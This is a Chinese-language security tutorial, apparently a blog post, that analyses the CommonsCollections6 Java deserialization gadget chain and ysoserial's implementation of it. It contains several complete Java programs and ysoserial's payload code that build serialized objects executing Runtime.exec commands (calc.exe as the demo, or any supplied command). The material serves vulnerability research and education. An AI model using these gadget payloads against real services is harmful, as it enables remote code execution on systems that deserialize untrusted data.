Why CommonsCollections6?
CC1的条件:Apache Commons Collections 3.1-3.2.1&&JDK<8u71。CC6便是为了解决JDK>=8u71的情况
在JDK>=8u71
时,AnnotationInvocationHandler.readObject()
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { ObjectInputStream.GetField var2 = var1.readFields(); Class var3 = (Class)var2.get("type", (Object)null); Map var4 = (Map)var2.get("memberValues", (Object)null); AnnotationType var5 = null;
try { var5 = AnnotationType.getInstance(var3); } catch (IllegalArgumentException var13) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); }
Map var6 = var5.memberTypes(); LinkedHashMap var7 = new LinkedHashMap();
String var10; Object var11; for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { Map.Entry var9 = (Map.Entry)var8.next(); var10 = (String)var9.getKey(); var11 = null; Class var12 = (Class)var6.get(var10); if (var12 != null) { var11 = var9.getValue(); if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) { var11 = (new AnnotationTypeMismatchExceptionProxy(objectToString(var11))).setMember((Method)var5.members().get(var10)); } } }
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7); }
|
获取传递进来的反序列化类的type
和memberValues
,memberValues
记录类字段名和字段值。根据type
生成新的类,若类中的字段在反序列化类中存在时,将字段名和字段值存入LinkHashMap
中。
和低版本的readObject()
进行比较,发现并没有调用外部类的方法,也就没有办法调用TransformedMap.checkSetValue()
和LazyMap.get()
。
构造CommonsCollections6
由于CC6是解决CC1在高版本不适用的问题。因此CC6的关键点就在于:能否找到一个类,通过某种方式调用了LazyMap.get()
或TransformedMap.checkSetValue()
。
这里引入一个新的类:org.apache.commons.collections.keyvalue.TiedMapEntry
TiedMapEntry
在该类中主要关注如下三个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; }
public Object getValue() { return this.map.get(this.key); }
public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
|
调用关系:hashCode()
->getValue()
->LazyMap.get()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package org.example;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.keyvalue.TiedMapEntry;
public class test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map innerMap=new HashMap<>(); Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tme=new TiedMapEntry(lazyMap,"test"); tme.hashCode(); } }
|
![image]()
构造CommonsCollections6
很显然想要构造完整的Gadget,需要找到一个类,该类的readObject()
方法可以执行TiedMapEntry.hashcode()
。在URLDNS章节分析ysoserial时,有提到过:当执行hash(key)
时会执行key.hashcode()
,而HashMap.readObject()
恰巧有hash(key)
的操作。
因此我们构造如下Gadget:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package org.example;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.keyvalue.TiedMapEntry;
public class test { public static void main(String[] args) throws Exception { File file = new File("./a.txt"); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream(file); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); FileInputStream fileInputStream = new FileInputStream(file); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map innerMap=new HashMap<>(); Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer); Map outerMap=new HashMap<>(); TiedMapEntry tme=new TiedMapEntry(lazyMap,"test"); outerMap.put(tme,"xxxx"); objectOutputStream.writeObject(outerMap); Object o=objectInputStream.readObject(); } }
|
![image]()
我们执行之后发现成功弹出了计算器。看似一切顺利,皆大欢喜,其实这里有个很大的坑。
观察如下截图:当序列化和反序列化两行代码被注释时,仍然可以成功弹出计算器。也就是说弹计算器和反序列化无关,和HashMap.readObject()
无关。
![image]()
为什么会产生这种情况?其实这点在URLDNS章节也同样提到了,在URLDNS章节分析时提到过应当会发起两次DNS请求,原因就在于HashMap.put()
方法也会调用hash(key)
进一步调用key.hashcode()
。这里的计算器就是由outerMap.put()
执行的。
![image]()
那为什么这里只弹出了一个计算器而不是两个?这里就要看一下LazyMap.get()
了。
![image]()
当key
不存在时,会去执行我们构造的gadget。随后,会执行super.map.put(key,value)
,来存储数据。这也就导致,当我们反序列化的时候是可以在innerMap
中找到key
的,也就不会执行构造的gadget了。
解决方法便是innerMap.remove()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package org.example;
import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.keyvalue.TiedMapEntry;
public class test { public static void main(String[] args) throws Exception { File file = new File("./a.txt"); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream(file); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); FileInputStream fileInputStream = new FileInputStream(file); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map innerMap=new HashMap<>(); Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer); Map outerMap=new HashMap<>(); TiedMapEntry tme=new TiedMapEntry(lazyMap,"test"); outerMap.put(tme,"xxxx"); innerMap.remove("test"); objectOutputStream.writeObject(outerMap); Object o=objectInputStream.readObject(); } }
|
![image]()
ysoserial的CommonsCollections6
看一下ysoserial中是如何实现CC6的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); }
Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map);
Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); }
Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0]; if(node == null){ node = array[1]; }
Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); }
Reflections.setAccessible(keyField); keyField.set(node, entry);
return map;
}
|
根据return map
可以看出,在ysoserial中进行序列化和反序列化的类为HashSet
。
看一下HashSet.readObject()
会发现其最后执行了map.put(e, PRESENT)
,这里的map
是HashSet
的成员变量。要想成功构造gadget,需要e为我们构造的TiedMapEntry
,可以看到e通过反序列化流s.readObject()
获得。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.readFields(); int capacity = s.readInt(); if (capacity < 0) { throw new InvalidObjectException("Illegal capacity: " + capacity); } float loadFactor = s.readFloat(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) { throw new InvalidObjectException("Illegal load factor: " + loadFactor); } loadFactor = Math.min(Math.max(0.25f, loadFactor), 4.0f); int size = s.readInt(); if (size < 0) { throw new InvalidObjectException("Illegal size: " + size); } capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f), HashMap.MAXIMUM_CAPACITY); SharedSecrets.getJavaOISAccess() .checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity)); map = (((HashSet<?>)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor)); for (int i=0; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
|
看一下HashSet.writeObject()
,会发现e是map.keySet()
,在序列化时写入流中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { s.defaultWriteObject();
s.writeInt(map.capacity()); s.writeFloat(map.loadFactor());
s.writeInt(map.size());
for (E e : map.keySet()) s.writeObject(e); }
|
上面说过map
是HashSet
的成员变量。map
的类型是HashMap
。HashMap.keySet()
可以获取HashMap
中的所有键的集合
![image]()
也就意味着我们构造的类TiedMapEntry
应当是HashSet
里面HashMap
成员变量的一个Key
。
在ysoserial中使用下面代码来将TiedMapEntry
作为key
放到HashMap
中。
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
在分析代码前,先补充一个知识:在HashMap
中存在内置类Node
。Node
存在成员变量key
和value
,当向HashMap
中存放数据时,其实是在HashMap
中创建了Node
,来存放数据。具体实现过程涉及到红黑树,这里暂不研究。
因此,将TiedMapEntry
作为key
放到HashMap
中,需要获取到Node
并修改key
的值。
![image]()
接下来分析ysoserial:
- 首先通过反射,获取
HashSet
中的成员变量map
,map
是HashMap
类
- 再通过反射获取
HashCode
中的成员变量table
,table
是HashMap
内置Node
类。代码获取到的是Object
数组。Object[] array = (Object[]) f2.get(innimpl);
这是因为我们创建的HashSet
容量为1。当存入foo作为key
后,会进行自动扩容。由于Node
为内部类,且未通过public
进行修饰。因此只能是Object
。
Node
是无序的,因此需要通过判断语句来获取。
- 最后通过反射来获取
Node
成员变量key
,并将key
更改为TiedMapEntry
。
总结
HashMap:
![image]()
HashSet:
![image]()